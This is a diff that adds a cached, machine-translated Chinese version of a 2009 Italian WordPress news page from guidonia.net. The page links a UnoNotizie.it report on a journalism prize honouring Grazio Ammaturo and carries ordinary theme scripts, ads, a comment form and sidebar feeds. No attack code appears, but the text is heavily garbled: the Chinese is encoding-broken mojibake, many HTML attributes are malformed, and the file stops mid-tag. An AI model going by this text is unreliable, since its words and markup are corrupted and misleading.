+++ /trunk/www.guidonia.net/wp/wp-content/gt-cache/zh-CN/_wp__p=6291&lang=zh-CN	(revision 44)
@@ -0,0 +1,94 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns=http://www.w3.org/1999/xhtml dir=ltr lang=it-IT><head profile=http://gmpg.org/xfn/11><base href=http://www.guidonia.net/wp/?p=6291 /><meta http-equiv=Content-Type content="text/html; charset=UTF-8" /><title>å¥æèœ¬GIORNALISTICA /åšå
+å­äž­çGrazio AMMATURO ... - UnoNotizie.it - GuidoniaPuntoNet ïŒäž­ïŒ </title><link rel=alternate type=application/rss+xml title="GuidoniaPuntoNet ïŒäž­ïŒ RSSéŠé" href=http://www.guidonia.net/wp/?feed=rss2 /><link rel=pingback href=http://www.guidonia.net/wp/xmlrpc.php /></head><body onload=""><iframe src="http://www.guidonia.net/wp/?p=6291&rurl=translate.google.com&lang=it&usg=ALkJrhgfnAC2jdXJz8RSO1HIa5EJgXBMCQ" width=0 height=0 frameborder=0 style="width:0px;height:0px;border:0px;"></iframe><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/js/switch.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/style.css type=text/css media=screen /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="é»è®€" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/pink.css type=text/css media=screen title="ç²çº¢è²" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/green.css type=text/css media=screen title="ç»¿è²" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/purple.css type=text/css media=screen title="çŽ«è²" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/red.css type=text/css media=screen title="çº¢è²" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="èè²" /><link rel=alternate type=application/rss xml title="GuidoniaPuntoNet ïŒäž­ïŒ âé¢åæèœ¬GIORNALISTICA /åšå
+å­äž­çGrazio AMMATURO ... - UnoNotizie.itè¯è®ºé¥²æ" href=http://www.guidonia.net/wp/?feed=rss2"><script type=text/javascript>
+		/* <![CDATA[ */
+
+			function move(index,to) {
+			 var list = document.getElementById('list');
+			 var total = list.options.length-1;
+			 if (index == -1) return false;
+			 if (to == +1 && index == total) return false;
+			 if (to == -1 && index == 0) return false;
+			 var items = new Array;
+			 var values = new Array;
+			 for (i = total; i >= 0; i--) {
+			  items[i] = list.options[i].text;
+			  values[i] = list.options[i].value;
+			 }
+			
+			 for (i = total; i >= 0; i--) {
+			  if (index == i) {
+			   list.options[i + to] = new Option(items[i],values[i + to], 0, 1);
+			   list.options[i] = new Option(items[i + to], values[i]);
+			   i--;
+			  } else {
+			   list.options[i] = new Option(items[i], values[i]);
+			  }
+			 }
+			
+			 list.focus();
+			}
+			
+			function submitForm() {
+			 var list = document.getElementById('list');
+			 var orderedlist = document.getElementById('orderedlist');
+			
+			 for (i = 0; i <= list.options.length-1; i++) {
+			  orderedlist.value += list.options[i].text;
+			  if (i != list.options.length-1) orderedlist.value += "|";
+			 }
+			 document.getElementById('sendform').submit();
+			}
+		/* ]]> */
+		</script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.js?ver=1.3.2></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/comment-reply.js?ver=20090102></script><link rel=EditURI type=application/rsd+xml title="çžå¯¹æ ååå·®" href=http://www.guidonia.net/wp/xmlrpc.php?rsd /><link rel=wlwmanifest type=application/wlwmanifest+xml href=http://www.guidonia.net/wp/wp-includes/wlwmanifest.xml /><link rel=index title="GuidoniaPuntoNet ïŒäž­ïŒ" href=http://www.guidonia.net/wp /><link rel=start title="å­å€å°Œäºåšçœç»çµè§" href=http://www.guidonia.net/wp/?p=8 /><link rel=prev title="å­å€å°ŒäºïŒçŽæµïŒåžå è¯ºåžé¿å°å·&#39;æ²¡æå®¡æ¥å€±èŽ¥-ç»Œåæ°é»-åœå®¶éè®¯ç€Ÿ" href=http://www.guidonia.net/wp/?p=6295 /><link rel=next title="å»ºè®Ÿçªå»å»ºç­å°çïŒ 32äººè¢«æ-æ¥æ¥" href=http://www.guidonia.net/wp/?p=6287 /><meta name=generator content="WordPress 2.8" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/lexi/css/lexi.css type=text/css media=screen /><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/minimax/scripts/minimax.js></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/tubepress.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/tubepress.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/widget/css/tubepress_widget.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/pagination.css type=text/css /><!-- Generated by Simple Tags 1.6.6 - http://wordpress.org/extend/plugins/simple-tags --><meta name=keywords content=Guidonia /></head><!--#wrapper:start--><div id=wrapper><!--#header:start--><div id=header><h1> <span  > <a href="http://www.guidonia.net/wp?lang=zh-CN" >GuidoniaPuntoNet ïŒäž­ïŒ</a></span> </h1><!--#navigation:start--><div id=navigation><ul><li> <span  > <a href="http://www.guidonia.net/wp?lang=zh-CN" >å®¶</a></span> </li><li class="page_item page-item-2"> <span  > <a href="http://www.guidonia.net/wp?page_id=2&lang=zh-CN" >å€§çºŠ</a></span> </li><li class="page_item page-item-6296"> <span  > <a href="http://www.guidonia.net/wp?page_id=6296&lang=zh-CN" >èç³»äºº</a></span> </li></ul></div><!--#navigation:end--><!--#search:start--><div id=search><form method=get id=searchform action=http://www.guidonia.net/wp/><input type=text value="" name=s id=s /><input type=submit id=searchsubmit value="æçŽ¢" /></form></div><!--#search:end--></div><!--#header:end--><!--#content:start--><div id=content><div class=entry id=post-6291><h2> <span  > <a href="http://www.guidonia.net/wp?p=6291&lang=zh-CN" >å¥æèœ¬GIORNALISTICA /åšå
+å­äž­çGrazio AMMATURO ... - UnoNotizie.it</a></span> </h2><p class=meta-header> <span  >æ¶å°2009å¹Ž6æ29æ¥åš<a href="http://www.guidonia.net/wp?cat=1&lang=zh-CN" >å­å€å°Œäºæ°é»</a>çç®¡ç</span> </p><table border=0 cellpadding=2 cellspacing=7 style=vertical-align:top;><tr><td width=80 align=center valign=top> <a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.unonotizie.it/6122-premio-giornalistico-del-rotary-in-ricordo-di-grazio-ammaturo-uomo-di-cultura-e-giornalista-de-il-tempo.php&usg=AFQjCNEZj4FNRLLPzbbaTweuwz-CIkBDVg"><font style=font-size:85%;font-family:arial,sans-serif><img src=http://nt0.ggpht.com/news/tbn/vB84q3PNtilB0M/0.jpg alt="" border=1 width=80 height=70 /><br /></font></a> <span  > <font size=-2><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.unonotizie.it/6122-premio-giornalistico-del-rotary-in-ricordo-di-grazio-ammaturo-uomo-di-cultura-e-giornalista-de-il-tempo.php&usg=AFQjCNEZj4FNRLLPzbbaTweuwz-CIkBDVg"><font style=font-size:85%;font-family:arial,sans-serif>UnoNotizie.it</font></a></font></span> </td><td valign=top class=j> <font style=font-size:85%;font-family:arial,sans-serif><br /></font> <div style=padding-top:0.8em;><img alt="" height=1 width=1 /></div><div class=lh><span  > <b><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.unonotizie.it/6122-premio-giornalistico-del-rotary-in-ricordo-di-grazio-ammaturo-uomo-di-cultura-e-giornalista-de-il-tempo.php&usg=AFQjCNEZj4FNRLLPzbbaTweuwz-CIkBDVg">å¥æèœ¬GIORNALISTICA /åšå
+å­äž­çGrazio AMMATURO ...</a></b></span> <br /> <span  > <font color=#6f6f6f><font size=-1><b>UnoNotizie.it</b></font></font></span> <br /> <span  > <font size=-1>æ¶èœ®ç€Ÿç<b>å­å€å°Œäºèç¹åå©å¥¥</b>æå¡åå»ºäºäžäžªåžžè®Ÿå¥é¡¹</font> ïŒ <font size=-1>æ¯å¹Žçè®°è
+æå»ççåºå€Žæ¯<b>...</b></font></span> <br /><font size=-1 class=p></font><br /> <span  > <a class=p href="http://news.google.it/news?pz=1&ned=it&ncl=dPhL1Yfw82Bfv2M"><font class=p size=-1><b>æŽå€Â»</b></font></a></span> </div></td></tr></table><div class=meta-footer><ul></ul><div class=clear-left></div></div></div><!-- You can start editing here. --><div id=comments><!-- If comments are open, but there are no comments. --><div id=respond class=box><h3> <span  >çäžåå€</span> </h3><div class=cancel-comment-reply> <span  > <a rel=nofollow id=cancel-comment-reply-link href="http://www.guidonia.net/wp?p=6291#respond style=display:none;&lang=zh-CN" ><small>åå»ä»¥åæ¶ç­å€ã</small></a></span> </div><form action=http://www.guidonia.net/wp/wp-comments-post.php method=post id=commentform><div> <span  > <label for=author><small>åç§°ïŒ</small></label>å¿
+å¡«<label for=author><small>ïŒ</small></label></span> <br /><input type=text name=author id=author value="" size=22 tabindex=1 aria-required=true /></div><div> <span  > <label for=email><small>é®ä»¶ïŒäžäŒè¢«åºçïŒ ïŒèŠæ±ïŒ</small></label></span> <br /><input type=text name=email id=email value="" size=22 tabindex=2 aria-required=true /></div><div> <span  > <label for=url><small>çœç«</small></label></span> <br /><input type=text name=url id=url value="" size=22 tabindex=3 /></div><div><span  > <strong><small>çXHTML ïŒ ïŒ</small></strong></span> <small><br /> <code>&lt;a href=&quot;&quot; title=&quot;&quot;&gt; &lt;abbr title=&quot;&quot;&gt; &lt;acronym title=&quot;&quot;&gt; &lt;b&gt; &lt;blockquote cite=&quot;&quot;&gt; &lt;cite&gt; &lt;code&gt; &lt;del datetime=&quot;&quot;&gt; &lt;em&gt; &lt;i&gt; &lt;q cite=&quot;&quot;&gt; &lt;strike&gt; &lt;strong&gt;</code></small> <span  >ç<code><small>&lt;a href=&quot;&quot; title=&quot;&quot;&gt; &lt;abbr title=&quot;&quot;&gt; &lt;acronym title=&quot;&quot;&gt; &lt;b&gt; &lt;blockquote cite=&quot;&quot;&gt; &lt;cite&gt; &lt;code&gt; &lt;del datetime=&quot;&quot;&gt; &lt;em&gt; &lt;i&gt; &lt;q cite=&quot;&quot;&gt; &lt;strike&gt; &lt;strong&gt;</small></code>ç<code><small>&lt;a href=&quot;&quot; title=&quot;&quot;&gt; &lt;abbr title=&quot;&quot;&gt; &lt;acronym title=&quot;&quot;&gt; &lt;b&gt; &lt;blockquote cite=&quot;&quot;&gt; &lt;cite&gt; &lt;code&gt; &lt;del datetime=&quot;&quot;&gt; &lt;em&gt; &lt;i&gt; &lt;q cite=&quot;&quot;&gt; &lt;strike&gt; &lt;strong&gt;</small></code>ç<code><small>&lt;a href=&quot;&quot; title=&quot;&quot;&gt; &lt;abbr title=&quot;&quot;&gt; &lt;acronym title=&quot;&quot;&gt; &lt;b&gt; &lt;blockquote cite=&quot;&quot;&gt; &lt;cite&gt; &lt;code&gt; &lt;del datetime=&quot;&quot;&gt; &lt;em&gt; &lt;i&gt; &lt;q cite=&quot;&quot;&gt; &lt;strike&gt; &lt;strong&gt;</small></code>ç<code><small>&lt;a href=&quot;&quot; title=&quot;&quot;&gt; &lt;abbr title=&quot;&quot;&gt; &lt;acronym title=&quot;&quot;&gt; &lt;b&gt; &lt;blockquote cite=&quot;&quot;&gt; &lt;cite&gt; &lt;code&gt; &lt;del datetime=&quot;&quot;&gt; &lt;em&gt; &lt;i&gt; &lt;q cite=&quot;&quot;&gt; &lt;strike&gt; &lt;strong&gt;</small></code>ç</span> <code><small>&lt;a href=&quot;&quot; title=&quot;&quot;&gt; &lt;abbr title=&quot;&quot;&gt; &lt;acronym title=&quot;&quot;&gt; &lt;b&gt; &lt;blockquote cite=&quot;&quot;&gt; &lt;cite&gt; &lt;code&gt; &lt;del datetime=&quot;&quot;&gt; &lt;em&gt; &lt;i&gt; &lt;q cite=&quot;&quot;&gt; &lt;strike&gt; &lt;strong&gt;</small></code> </div><p> <span  > <label for=comments><small>è¯è®º</small></label></span> <br /><textarea name=comment id=comment cols=50 rows=6 tabindex=4></textarea></p><p><input name=submit type=submit id=submit tabindex=5 value="æäº€è¯è®º" class=box /><input type=hidden name=comment_post_ID value=6291 id=comment_post_ID /><input type=hidden name=comment_parent id=comment_parent value=0 /></p></form></div></div></div><!--#content:end--><div id=sidebar><p id=switcher> <span  > <a href="http://www.guidonia.net/">è</a> <a href="http://www.guidonia.net/">ç²çº¢</a> <a href="http://www.guidonia.net/">ç»¿è²</a> <a href="http://www.guidonia.net/">çŽ«è²</a> <a href="http://www.guidonia.net/">çº¢è²</a></span> </p><div class="about box"><h3> <span  >ä¿¡æ¯</span> </h3><p><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/scripts.js></script><center> <span  > <b>GuidoniaPuntoNet ïŒææ³äžºWeb</b></span> <b><br /></b> <script type=text/javascript>showFlash("loop.swf");</script> <b><br /></b> <span  > <b>æè·¯å¯»æŸèµéïŒ <a href=mailto:info@guidonia.net>èç³»æä»¬</a></b></span> </center></p><div class=clear></div></div><div class=feeds> <span  >æšå¯åšaÄ¡Ä¡ornataéè¿<a href="http://www.guidonia.net/wp?feed=rss2&lang=zh-CN" >ç®æä¿¡æ¯èåé¥²æã</a></span> </div><div class=col><div class=box><h3> <span  >åœ±çå€§çºŠå­å€å°Œäº</span> </h3><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6291# onclick=&lang=zh-CN" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=z32gTXwZyq0&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dz32gTXwZyq0%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Mansardaå­å€å°Œäºäž­å¿" src=http://i.ytimg.com/vi/z32gTXwZyq0/1.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  >å­å€å°Œäºäž­å¿ïŒå¹¿åã</span> <span  > Vialeçœé©¬ç«èœŠç«...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6291# onclick=&lang=zh-CN" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=sg72_I89PV8&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dsg72_I89PV8%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="æ¢
+å¥¥å°Œæ©æŽ-è¯åå£°é³å€©-ä¹@å­å€å°Œäº" src=http://i.ytimg.com/vi/sg72_I89PV8/default.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  >ä»¶äŒ å¥æŒå±çæ©æŽå­å€å°Œäºç...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6291# onclick=&lang=zh-CN" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=-8DgBuwxENM&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D-8DgBuwxENM%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="æ¢
+å¥¥å°Œæ©æŽ-èªç±-ä¹@å­å€å°Œäº" src=http://i.ytimg.com/vi/-8DgBuwxENM/3.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  >ä»¶äŒ å¥æŒå±çæ©æŽå­å€å°Œäºç...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6291# onclick=&lang=zh-CN" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=tvOS-jqwMDE&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3DtvOS-jqwMDE%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="æ¢
+å¥¥å°Œæ©æŽ-çæä¹äžå-ä¹@å­å€å°Œäº" src=http://i.ytimg.com/vi/tvOS-jqwMDE/hqdefault.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  >ä»¶äŒ å¥æŒå±çæ©æŽå­å€å°Œäºç...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6291# onclick=&lang=zh-CN" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=0QhDp2EJqlU&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D0QhDp2EJqlU%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="æ¢
+å¥¥å°Œæ©æŽ-çŠæ­¢è¿å£-ä¹@å­å€å°Œäº" src=http://i.ytimg.com/vi/0QhDp2EJqlU/1.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  >ä»¶äŒ å¥æŒå±çæ©æŽå­å€å°Œäºç...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --></div><div class=box><h3> <span  >åç±»</span> </h3><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x90, creato 24/05/09 */
+google_ad_slot = "4202309166";
+google_ad_width = 120;
+google_ad_height = 90;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div><div class=box><h3></h3><div id=calendar_wrap><table id=wp-calendar summary=Calendario><caption> <span  > 7æïŒ 2009å¹Ž</span> </caption><thead><tr><th abbr="lunedÃ¬" scope=col title="ææäž"> <span  > L</span> </th><th abbr="martedÃ¬" scope=col title="ææäº"> <span  > M</span> </th><th abbr="mercoledÃ¬" scope=col title="ææäž"> <span  > M</span> </th><th abbr="giovedÃ¬" scope=col title="ææå"> <span  > G</span> </th><th abbr="venerdÃ¬" scope=col title="ææäº"> <span  > V</span> </th><th abbr=sabato scope=col title="ææå
+­"> <span  >å¿</span> </th><th abbr=domenica scope=col title="æææ¥"> <span  > D</span> </th></tr></thead><tfoot><tr><td abbr=giugno colspan=3 id=prev> <span  > <a href="http://www.guidonia.net/wp?m=200906&lang=zh-CN" >Â«å
+­æ</a></span> </td><td class=pad></td><td colspan=3 id=next class=pad></td></tr></tfoot><tbody><tr><td colspan=2 class=pad></td><td> <span  > 1</span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090702&lang=zh-CN" >2</a></span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090703&lang=zh-CN" >3</a></span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090704&lang=zh-CN" >4</a></span> </td><td id=today> <span  > 5</span> </td></tr><tr><td> <span  > 6</span> </td><td> <span  > 7</span> </td><td> <span  > 8</span> </td><td> <span  > 9</span> </td><td> <span  > 10</span> </td><td> <span  > 11</span> </td><td> <span  > 12</span> </td></tr><tr><td> <span  > 13</span> </td><td> <span  > 14</span> </td><td> <span  > 15</span> </td><td> <span  > 16</span> </td><td> <span  > 17</span> </td><td> <span  > 18</span> </td><td> <span  > 19</span> </td></tr><tr><td> <span  > 20</span> </td><td> <span  > 21</span> </td><td> <span  > 22</span> </td><td> <span  > 23</span> </td><td> <span  > 24</span> </td><td> <span  > 25</span> </td><td> <span  > 26</span> </td></tr><tr><td> <span  > 27</span> </td><td> <span  > 28</span> </td><td> <span  > 29</span> </td><td> <span  > 30</span> </td><td> <span  > 31</span> </td><td class=pad colspan=2></td></tr></tbody></table></div></div></div><div class=col2><div class=box><h3> <span  >è¯è
+</span> </h3>
+<!--FLAG_BAR_BEGIN--><div id="translation_bar"><a id='flag_it' href='http://www.guidonia.net/wp/?p=6291' hreflang='it' ><img id='flag_img_it' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_it.png' alt='Italiano flag' title='Italiano'  border='0' /></a><a id='flag_ar' href='http://www.guidonia.net/wp/?p=6291&lang=ar' hreflang='ar' ><img id='flag_img_ar' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ar.png' alt='Arabo flag' title='Arabo'  border='0' /></a><a id='flag_ca' href='http://www.guidonia.net/wp/?p=6291&lang=ca' hreflang='ca' ><img id='flag_img_ca' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ca.png' alt='Catalano flag' title='Catalano'  border='0' /></a><a id='flag_zh-CN' href='http://www.guidonia.net/wp/?p=6291&lang=zh-CN' hreflang='zh-CN' ><img id='flag_img_zh-CN' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_zh-CN.png' alt='Cinese (Semplificato) flag' title='Cinese (Semplificato)'  border='0' /></a><a id='flag_en' href='http://www.guidonia.net/wp/?p=6291&lang=en' hreflang='en' ><img id='flag_img_en' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_en.png' alt='Inglese flag' title='Inglese'  border='0' /></a><a id='flag_fr' href='http://www.guidonia.net/wp/?p=6291&lang=fr' hreflang='fr' ><img id='flag_img_fr' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_fr.png' alt='Francese flag' title='Francese'  border='0' /></a><a id='flag_de' href='http://www.guidonia.net/wp/?p=6291&lang=de' hreflang='de' ><img id='flag_img_de' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_de.png' alt='Tedesco flag' title='Tedesco'  border='0' /></a><a id='flag_el' href='http://www.guidonia.net/wp/?p=6291&lang=el' hreflang='el' ><img id='flag_img_el' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_el.png' alt='Greco flag' title='Greco'  border='0' /></a><a id='flag_pt' href='http://www.guidonia.net/wp/?p=6291&lang=pt' hreflang='pt' ><img id='flag_img_pt' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_pt.png' alt='Portoghese flag' title='Portoghese'  border='0' /></a><a id='flag_ro' href='http://www.guidonia.net/wp/?p=6291&lang=ro' hreflang='ro' ><img id='flag_img_ro' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ro.png' alt='Rumeno flag' title='Rumeno'  border='0' /></a><a id='flag_ru' href='http://www.guidonia.net/wp/?p=6291&lang=ru' hreflang='ru' ><img id='flag_img_ru' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ru.png' alt='Russo flag' title='Russo'  border='0' /></a><a id='flag_es' href='http://www.guidonia.net/wp/?p=6291&lang=es' hreflang='es' ><img id='flag_img_es' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_es.png' alt='Spagnolo flag' title='Spagnolo'  border='0' /></a><a id='flag_sv' href='http://www.guidonia.net/wp/?p=6291&lang=sv' hreflang='sv' ><img id='flag_img_sv' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sv.png' alt='Svedese flag' title='Svedese'  border='0' /></a><a id='flag_sq' href='http://www.guidonia.net/wp/?p=6291&lang=sq' hreflang='sq' ><img id='flag_img_sq' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sq.png' alt='Albanese flag' title='Albanese'  border='0' /></a><div id="transl_sign"></div></div><!--FLAG_BAR_END-->
+</div><div class=box><h3> <a class=rsswidget href=http://www.liquida.it/guidonia.feed title="è®¢é
+è¿äžªå
+å®¹"><img style=background:orange;color:white;border:none; width=14 height=14 src=http://www.guidonia.net/wp/wp-includes/images/rss.png alt="çRSS" /></a> <span  > <a class=rsswidget href="http://www.guidonia.net/wp?p=6291&lang=zh-CN" >å¿«éæ°é»</a></span> </h3><ul><li> <span  > <a class=rsswidget href="http://www.vignaclarablog.it/200907036551/comune-di-roma-todini-pdl-stupri-la-misura-e-colma/#39;æšå€©æäžïŒ ïŒåšå®¢è¿äžçº¿çååžå§ååäŒåçå®å
+šå§åäŒïŒ Ludovico Todiniè¯ŽïŒ âæ®éé©¬çŠåïŒå­å€å°ŒäºArdeatinaç­ç­ïŒäžèæäžŸåŒºå¥žæ¯æ¥çåå®³è
+å°...æ ç­ŸïŒè·¯ææ®éé©¬çŠåTodiniå­å€å°Œäºå å­[...]"">åžæ¿åºçœé©¬- Todini ïŒå®¢è¿äžçº¿ïŒ ïŒåŒºå¥žïŒæµéæ&#39;å¡«è¡¥</a></span> </li><li> <span  > <a class=rsswidget href="http://cairoli.simplicissimus.it/2009/07/avezzano-roma-tiburtina-la-linea-ferroviaria-dei-senza-casta.html">Avezzano -çœé©¬Tiburtina -éè·¯çº¿ç&#39; outcastes &#39;</a></span> </li><li> <span  > <a class=rsswidget href="http://sicurezza626lavoro.wordpress.com/2009/07/01/asl-roma-g-prevenzione-e-sicurezza-sul-lavoro/">ç¿åçœé©¬ç­ïŒé¢é²åå·¥äœå®å
+š</a></span> </li><li> <span  > <a class=rsswidget href="http://truffeinrete.blogspot.com/2009/07/donna-uccisa-da-un-fulmine-nel-lazio.html">äžåå¥³å­æ­»äº¡çéªçµåšæéœå¥¥</a></span> </li><li> <span  > <a class=rsswidget href="http://www.mpl.it/?p=6390#39;åšæèŸŸâæå¥æïŒæ¿å±æ²¡ææ°Žæ³¥ãè¿æ¯è¯æ®ã âåŒ èŽŽïŒæ©äœCappucci ïŒå·²æåºåšåºå¢äž­çé¿åžé²äœå°åºïŒå¹¶å·²åç°èœ»ïŒçŒºä¹æ§å¶ïŒåäºçå¿œäºè®žå€æ¿å±è¢«å»ºé ãåš...æ ç­ŸïŒæ©äœçé¿åžé²äœRaiNews24æž
+è±çœé©¬[...]"">æž
+è±æ°Žæ³¥</a></span> </li><li> <span  > <a class=rsswidget href="http://tgabruzzo.blogspot.com/2009/06/rainews-24-esclusiva-laquila-case-senza.html#39;åšonda&#39;&#39;L&#39;Aquila ïŒæ¿å±æ²¡ææ°Žæ³¥ãè¿éçè¯æ®&#39;&#39; ãåšåéçRainews24 ïŒæ©äœCappucci ïŒå·²æåºåšåºå¢äž­çé¿åžé²äœå°åºïŒå¹¶å·²åç°èœ»ïŒçŒºä¹æ§å¶ïŒåäºçå¿œäºè®žå€æ¿å±è¢«...æ ç­ŸïŒ [...]"">RaiNews 24 ïŒ Exclusive&#39;&#39;eagle ïŒæ¿å±</a> ïŒ <a class=rsswidget href="http://tgabruzzo.blogspot.com/2009/06/rainews-24-esclusiva-laquila-case-senza.html#39;åšonda&#39;&#39;L&#39;Aquila ïŒæ¿å±æ²¡ææ°Žæ³¥ãè¿éçè¯æ®&#39;&#39; ãåšåéçRainews24 ïŒæ©äœCappucci ïŒå·²æåºåšåºå¢äž­çé¿åžé²äœå°åºïŒå¹¶å·²åç°èœ»ïŒçŒºä¹æ§å¶ïŒåäºçå¿œäºè®žå€æ¿å±è¢«...æ ç­ŸïŒ [...]"">æ°Žæ³¥&#39;&#39;</a></span> </li><li> <span  > <a class=rsswidget href="http://laveritaquotidiana.blogspot.com/2009/06/armati-di-pistola-rapinano-antiquari-in.html">æºåžŠå€è£ææªæ¢å«é
+åº</a></span> </li><li> <span  > <a class=rsswidget href="http://www.sportfondano.it/2009/06/entro-il-23-luglio-le-iscrizioni-alla-c2-regionale/">ç±7æ23æ¥è®¢èŽ­åºåC2</a></span> </li><li> <span  > <a class=rsswidget href="http://abruzzoblog.blogspot.com/2009/06/il-management-del-dolore-post.html">ç®¡çæ¯åçŒçèµ¢âåææ»äŒžå±&#39;</a>äž<a class=rsswidget href="http://abruzzoblog.blogspot.com/2009/06/il-management-del-dolore-post.html">..</a></span> </li><li> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/">åŠå¥³åæ°äž»ã</a></span> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/">ææ§ïŒè°èšåâç¥è¯â ã</a></span> </li><li> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141#39;äººæ°&#39;çèŠæ±...æ ç­ŸïŒçµåCirceoéŠé¡µå±è§ååšæ³°æäž[...]"">åŠå¥³åæ°äž»ã</a></span> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141#39;äººæ°&#39;çèŠæ±...æ ç­ŸïŒçµåCirceoéŠé¡µå±è§ååšæ³°æäž[...]"">ææ§ïŒè°èšåâç¥è¯â</a></span> </li><li> <span  > <a class=rsswidget 